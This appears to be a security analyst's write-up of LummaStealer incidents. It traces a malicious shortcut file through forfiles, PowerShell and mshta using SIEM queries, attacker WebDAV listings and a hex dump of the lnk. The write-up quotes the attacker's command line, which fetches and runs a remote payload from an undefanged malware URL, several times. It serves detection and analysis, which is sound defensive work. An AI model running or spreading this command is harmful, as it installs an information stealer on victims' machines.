Lumma
LummaStealer
Brief write-up on LummaStealer events observed in managed environments
Initial Detection Events
Users download a Windows lnk file from a malicious site that contains an executable command to launch forfiles.exe (a LOLbin for executing commands) with a command line similar to "C:\Windows\System32\forfiles.exe" /p C:\ /m Use*s /c "powershell Start-Process \*i*\*2\m?h*e https://ftp.timeless-tales.shop/api/reg/Panto"
. This command line works as follows:
Breaking down the forfiles command line:
forfiles executable
| Path to start search
| | _ _ _ _ _ _ File mask (file to search for)
| | |
| | | _ _ _ Command to run on file
| | | |
"C:\Windows\System32\forfiles.exe" /p C:\ /m Use*s /c "powershell Start-Process \*i*\*2\m?h*e https://ftp.timeless-tales.shop/api/reg/Panto"
Break down of powershell command:
Create a new proces
|
| Regex for C:\Windows\System32\mshta.exe
| |
| | Payload
| | |
"powershell Start-Process \*i*\*2\m?h*e https://ftp.timeless-tales.shop/api/reg/Panto"
The command essentially uses forfiles to launch MSHTA for the purpose of retrieving and executing a remote payload.
EDR detects the mshta.exe execution as it originates from a “script” (the powershell process). LummaStealer is also known to employ ‘FakeCaptcha’ scams to trick users into directly executing the PowerShell command, instead of using the lnk file (LummaStealer FakeCaptcha).
The process tree results in something along the lines of this:
explorer.exe ---> forfiles.exe ---> powershell.exe ---> mshta.exe
Manual Incident Review and Attribution
There are two simple ways to get the source of the initial payload (lnk file). You can use EDR response tools, or, you can use the Event Search in the SIEM. For this write-up, we’ll go through the process of using SIEM.
Using the following query, we can get a list of all DNS requests and file write activities observed on a host.
ComputerName = ?ComputerName
|#repo=base_sensor cid="*" | in(#event_simpleName, values=[DnsRequest, SuspiciousDnsRequest, *FileWritten]) | ContextBaseFileName = "chrome.exe" or ContextBaseFileName = "firefox.exe" or ContextBaseFileName = "msedge.exe" | Time := formatTime("%FT%TZ", field=timestamp, timezone= "America/Chicago") | table(["Time","ComputerName","Agent IP","LocalAddressIP4","#event_simpleName","DomainName", "ContextImageFileName", "FilePath","FileName"], limit=5000) | sort(Time, limit=5000)
Enter the host name in the ComputerName field and adjust the time range for +1/-1 hours relative to the detection time.
You should be able to identify all* DNS history and file actions in this view.
(some events don’t show up because they don’t get logged /shrug)
For example, you should see something like this, where download[.]wsconnect[.]org is the address the user downloaded the lnk file from.
You can also trace back events to see where the user may have initially clicked or browsed to. In this instance, usermanualplatform[.]com was the first link the user clicked. This page had a large pop up with a blurred background, tricking the user into thinking they had found the file they were searching for. The link redirects the user to https[://]all-instructions[.]wsconnect[.]org/api/reg/file/. I didn’t grab this before the domain block, but this page is likely where the user initiated the download.
Attack Chain
The attack chain relies heavily on abusing Living Off the Land Binaries (LOLBins) which are system executables on Windows that can be abused by attackers to execute code or perform other malicious behavior.
Below, I’ve attached the contents of the XML files and the lnk file that was downloaded.
XML extracted from https[://]download[.]wsconnect[.]org/
<!-- xml taken from https[://]download[.]wsconnect[.]org/ -->
<?xml version="1.0" encoding="UTF-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response>
<D:href>/</D:href>
<D:propstat>
<D:prop>
<D:supportedlock>
<D:lockentry>
<D:lockscope>
<D:exclusive />
</D:lockscope>
<D:locktype>
<D:write />
</D:locktype>
</D:lockentry>
</D:supportedlock>
<D:getlastmodified>Mon, 21 Oct 2024 12:38:11 GMT</D:getlastmodified>
<D:resourcetype>
<D:collection />
</D:resourcetype>
<D:displayname />
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
<D:response>
<D:href>/config.yaml</D:href>
<D:propstat>
<D:prop>
<D:resourcetype />
<D:displayname>config.yaml</D:displayname>
<D:getetag>"17fffccff311800047"</D:getetag>
<D:getcontentlength>71</D:getcontentlength>
<D:getlastmodified>Sat, 19 Oct 2024 22:59:12 GMT</D:getlastmodified>
<D:getcontenttype>application/x-yaml</D:getcontenttype>
<D:supportedlock>
<D:lockentry>
<D:lockscope>
<D:exclusive />
</D:lockscope>
<D:locktype>
<D:write />
</D:locktype>
</D:lockentry>
</D:supportedlock>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
<D:response>
<D:href>/Downloads/</D:href>
<D:propstat>
<D:prop>
<D:resourcetype>
<D:collection />
</D:resourcetype>
<D:displayname>Downloads</D:displayname>
<D:getlastmodified>Wed, 23 Oct 2024 18:37:39 GMT</D:getlastmodified>
<D:supportedlock>
<D:lockentry>
<D:lockscope>
<D:exclusive />
</D:lockscope>
<D:locktype>
<D:write />
</D:locktype>
</D:lockentry>
</D:supportedlock>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
<D:response>
<D:href>/server.zip</D:href>
<D:propstat>
<D:prop>
<D:getcontentlength>3174574</D:getcontentlength>
<D:getlastmodified>Mon, 21 Oct 2024 12:18:47 GMT</D:getlastmodified>
<D:getcontenttype>application/zip</D:getcontenttype>
<D:supportedlock>
<D:lockentry>
<D:lockscope>
<D:exclusive />
</D:lockscope>
<D:locktype>
<D:write />
</D:locktype>
</D:lockentry>
</D:supportedlock>
<D:getetag>"180077069135c6003070ae"</D:getetag>
<D:resourcetype />
<D:displayname>server.zip</D:displayname>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
<D:response>
<D:href>/server</D:href>
<D:propstat>
<D:prop>
<D:getlastmodified>Sat, 19 Oct 2024 22:59:28 GMT</D:getlastmodified>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
<D:supportedlock>
<D:lockentry>
<D:lockscope>
<D:exclusive />
</D:lockscope>
<D:locktype>
<D:write />
</D:locktype>
</D:lockentry>
</D:supportedlock>
<D:getcontentlength>8282112</D:getcontentlength>
<D:resourcetype />
<D:displayname>server</D:displayname>
<D:getetag>"17fffcd3acbe20007e6000"</D:getetag>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
XML extracted from https[://]download[.]wsconnect[.]org/Downloads
<!-- xml taken from https[://]download[.]wsconnect[.]org/Downloads -->
<?xml version="1.0" encoding="UTF-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response>
<D:href>/Downloads/</D:href>
<D:propstat>
<D:prop>
<D:getlastmodified>Wed, 23 Oct 2024 18:37:39 GMT</D:getlastmodified>
<D:supportedlock>
<D:lockentry>
<D:lockscope>
<D:exclusive />
</D:lockscope>
<D:locktype>
<D:write />
</D:locktype>
</D:lockentry>
</D:supportedlock>
<D:displayname>Downloads</D:displayname>
<D:resourcetype>
<D:collection />
</D:resourcetype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
<D:response>
<D:href>/Downloads/Instruction_1928.pdf.lnk</D:href>
<D:propstat>
<D:prop>
<D:resourcetype />
<D:displayname>Instruction_1928.pdf.lnk</D:displayname>
<D:getetag>"180128de70891780830"</D:getetag>
<D:supportedlock>
<D:lockentry>
<D:lockscope>
<D:exclusive />
</D:lockscope>
<D:locktype>
<D:write />
</D:locktype>
</D:lockentry>
</D:supportedlock>
<D:getcontentlength>2096</D:getcontentlength>
<D:getlastmodified>Wed, 23 Oct 2024 18:37:47 GMT</D:getlastmodified>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
<D:response>
<D:href>/Downloads/3rd_cc_form_Oct_2024.pdf.lnk</D:href>
<D:propstat>
<D:prop>
<D:getcontentlength>1362</D:getcontentlength>
<D:getlastmodified>Tue, 22 Oct 2024 19:27:13 GMT</D:getlastmodified>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
<D:supportedlock>
<D:lockentry>
<D:lockscope>
<D:exclusive />
</D:lockscope>
<D:locktype>
<D:write />
</D:locktype>
</D:lockentry>
</D:supportedlock>
<D:resourcetype />
<D:displayname>3rd_cc_form_Oct_2024.pdf.lnk</D:displayname>
<D:getetag>"1800dcfc5a8e2576552"</D:getetag>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
<D:response>
<D:href>/Downloads/Agreement%20for%20YouTube%20cooperation.pdf.lnk</D:href>
<D:propstat>
<D:prop>
<D:resourcetype />
<D:displayname>Agreement for YouTube cooperation.pdf.lnk</D:displayname>
<D:getetag>"1800814379890881586"</D:getetag>
<D:getcontentlength>1414</D:getcontentlength>
<D:getlastmodified>Mon, 21 Oct 2024 15:26:23 GMT</D:getlastmodified>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
<D:supportedlock>
<D:lockentry>
<D:lockscope>
<D:exclusive />
</D:lockscope>
<D:locktype>
<D:write />
</D:locktype>
</D:lockentry>
</D:supportedlock>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
lnk file analysis
4C 00 00 00 01 14 02 00 00 00 00 00 C0 00 00 00 00 00 00 46 EF 40 00 00 20 00 00 00 E6 81 73 24 D2 61 D8 01 E6 81 73 24 D2 61 D8 01 E6 81 73 24 D2 61 D8 01 00 A2 00 00 0B 00 00 00 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 45 01 14 00 1F 50 E0 4F D0 20 EA 3A 69 10 A2 D8 08 00 2B 30 30 9D 19 00 2F 43 3A 5C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 56 00 31 00 00 00 00 00 51 59 63 41 10 00 57 69 6E 64 6F 77 73 00 40 00 09 00 04 00 EF BE A7 54 2C 2A 51 59 63 41 2E 00 00 00 CB 02 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 66 23 F4 00 57 00 69 00 6E 00 64 00 6F 00 77 00 73 00 00 00 16 00 5A 00 31 00 00 00 00 00 50 59 8D 90 10 00 53 79 73 74 65 6D 33 32 00 00 42 00 09 00 04 00 EF BE A7 54 2C 2A 50 59 8D 90 2E 00 00 00 72 09 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FE 14 14 00 53 00 79 00 73 00 74 00 65 00 6D 00 33 00 32 00 00 00 18 00 66 00 32 00 00 A2 00 00 A7 54 8A 2A 20 00 66 6F 72 66 69 6C 65 73 2E 65 78 65 00 00 4A 00 09 00 04 00 EF BE A7 54 8A 2A A7 54 8A 2A 2E 00 00 00 E0 CB 00 00 00 00 01 00 00 00 00 00 7C 00 00 00 00 00 00 00 00 00 1A 80 98 00 66 00 6F 00 72 00 66 00 69 00 6C 00 65 00 73 00 2E 00 65 00 78 00 65 00 00 00 1C 00 00 00 55 00 00 00 1C 00 00 00 01 00 00 00 1C 00 00 00 33 00 00 00 00 00 00 00 54 00 00 00 17 00 00 00 03 00 00 00 DD 95 23 58 10 00 00 00 53 79 73 74 65 6D 00 43 3A 5C 57 69 6E 64 6F 77 73 5C 53 79 73 74 65 6D 33 32 5C 66 6F 72 66 69 6C 65 73 2E 65 78 65 00 00 10 00 49 00 6E 00 73 00 74 00 72 00 75 00 63 00 74 00 69 00 6F 00 6E 00 5F 00 31 00 39 00 32 00 38 00 32 00 2E 00 2E 00 5C 00 2E 00 2E 00 5C 00 2E 00 2E 00 5C 00 2E 00 2E 00 5C 00 2E 00 2E 00 5C 00 2E 00 2E 00 5C 00 2E 00 2E 00 5C 00 57 00 69 00 6E 00 64 00 6F 00 77 00 73 00 5C 00 53 00 79 00 73 00 74 00 65 00 6D 00 33 00 32 00 5C 00 66 00 6F 00 72 00 66 00 69 00 6C 00 65 00 73 00 2E 00 65 00 78 00 65 00 69 00 2F 00 70 00 20 00 43 00 3A 00 5C 00 20 00 2F 00 6D 00 20 00 55 00 73 00 65 00 2A 00 73 00 20 00 2F 00 63 00 20 00 22 00 70 00 6F 00 77 00 65 00 72 00 73 00 68 00 65 00 6C 00 6C 00 20 00 53 00 74 00 61 00 72 00 74 00 2D 00 50 00 72 00 6F 00 63 00 65 00 73 00 73 00 20 00 5C 00 2A 00 69 00 2A 00 5C 00 2A 00 32 00 5C 00 6D 00 3F 00 68 00 2A 00 65 00 20 00 68 00 74 00 74 00 70 00 73 00 3A 00 2F 00 2F 00 66 00 74 00 70 00 2E 00 74 00 69 00 6D 00 65 00 6C 00 65 00 73 00 73 00 2D 00 74 00 61 00 6C 00 65 00 73 00 2E 00 73 00 68 00 6F 00 70 00 2F 00 61 00 70 00 69 00 2F 00 72 00 65 00 67 00 2F 00 50 00 61 00 6E 00 74 00 6F 00 22 00 3C 00 43 00 3A 00 5C 00 50 00 72 00 6F 00 67 00 72 00 61 00 6D 00 20 00 46 00 69 00 6C 00 65 00 73 00 20 00 28 00 78 00 38 00 36 00 29 00 5C 00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F 00 66 00 74 00 5C 00 45 00 64 00 67 00 65 00 5C 00 41 00 70 00 70 00 6C 00 69 00 63 00 61 00 74 00 69 00 6F 00 6E 00 5C 00 6D 00 73 00 65 00 64 00 67 00 65 00 2E 00 65 00 78 00 65 00 10 00 00 00 05 00 00 A0 25 00 00 00 DD 00 00 00 1C 00 00 00 0B 00 00 A0 77 4E C1 1A E7 02 5D 4E B7 44 2E B1 AE 51 98 B7 DD 00 00 00 60 00 00 00 03 00 00 A0 58 00 00 00 00 00 00 00 6F 64 61 66 61 00 00 00 00 00 00 00 00 00 00 00 F6 AB 6B C1 46 97 56 43 98 E1 3E 2B 24 D1 94 80 D9 CC EC ED 3A 53 EF 11 96 BF 00 50 56 C0 00 08 F6 AB 6B C1 46 97 56 43 98 E1 3E 2B 24 D1 94 80 D9 CC EC ED 3A 53 EF 11 96 BF 00 50 56 C0 00 08 14 03 00 00 07 00 00 A0 25 50 72 6F 67 72 61 6D 46 69 6C 65 73 25 5C 4D 69 63 72 6F 73 6F 66 74 5C 45 64 67 65 5C 41 70 70 6C 69 63 61 74 69 6F 6E 5C 6D 73 65 64 67 65 2E 65 78 65 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 25 00 50 00 72 00 6F 00 67 00 72 00 61 00 6D 00 46 00 69 00 6C 00 65 00 73 00 25 00 5C 00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F 00 66 00 74 00 5C 00 45 00 64 00 67 00 65 00 5C 00 41 00 70 00 70 00 6C 00 69 00 63 00 61 00 74 00 69 00 6F 00 6E 00 5C 00 6D 00 73 00 65 00 64 00 67 00 65 00 2E 00 65 00 78 00 65 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 CE 00 00 00 09 00 00 A0 89 00 00 00 31 53 50 53 E2 8A 58 46 BC 4C 38 43 BB FC 13 93 26 98 6D CE 6D 00 00 00 04 00 00 00 00 1F 00 00 00 2D 00 00 00 53 00 2D 00 31 00 2D 00 35 00 2D 00 32 00 31 00 2D 00 35 00 33 00 38 00 37 00 34 00 34 00 31 00 38 00 2D 00 31 00 35 00 37 00 38 00 32 00 30 00 37 00 34 00 35 00 36 00 2D 00 32 00 33 00 38 00 33 00 38 00 31 00 36 00 38 00 39 00 35 00 2D 00 31 00 30 00 30 00 31 00 00 00 00 00 00 00 00 00 39 00 00 00 31 53 50 53 B1 16 6D 44 AD 8D 70 48 A7 48 40 2E A4 3D 78 8C 1D 00 00 00 68 00 00 00 00 48 00 00 00 B2 A8 D5 27 FE A9 8A 4A B9 73 2A 1A 95 97 41 B0 00 00 00 00 00 00 00 00 00 00 00 00
null bytes removed
LÀFï@ æs$ÒaØæs$ÒaØæs$ÒaØ¢EPàOÐ ê:i¢Ø+00/C:\V1QYcAWindows@ ï¾§T,*QYcA.Ëf#ôWindowsZ1PYSystem32B ï¾§T,*PY.r þSystem32f2¢§T* forfiles.exeJ ï¾§T*§T*.àË|forfiles.exeU3TÝ#XSystemC:\Windows\System32\forfiles.exeInstruction_19282..\..\..\..\..\..\..\Windows\System32\forfiles.exei/p C:\ /m Use*s /c "powershell Start-Process \*i*\*2\m?h*e https://ftp.timeless-tales.shop/api/reg/Panto"<C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe %Ý wNÁç]N·D.±®Q·Ý` Xodafaö«kÁFVCá>+$ÑÙÌìí:Sï¿PVÀö«kÁFVCá>+$ÑÙÌìí:Sï¿PVÀ %ProgramFiles%\Microsoft\Edge\Application\msedge.exe%ProgramFiles%\Microsoft\Edge\Application\msedge.exeÎ 1SPSâXF¼L8C»ü&mÎm-S-1-5-21-53874418-1578207456-2383816895-100191SPS±mDpH§H@.¤=xhH²¨Õ'þ©J¹s*A°
PE Analysis for observed samples
None of the observed events have reached the payload stage due to EDR blocking mshta.exe executions. As such, I didn’t attach any payload info to this write up. I have put some interesting things about the payload below though. It’s kind of neat.
This is one of the payloads that can be pointed to by the lnk files in the second ‘Downloads’ XML file. The browser tries to render it as json, but we can see the MZ
header (4D 5A
).
The binaries are also signed with stolen certs. They’ve been revoked as of the time of analysis, but future versions may have valid (stolen) certs.
You can also see that the file is detected by multiple vendors.
The executable also has sandbox and debugger detections and has at least 1 embedded PE.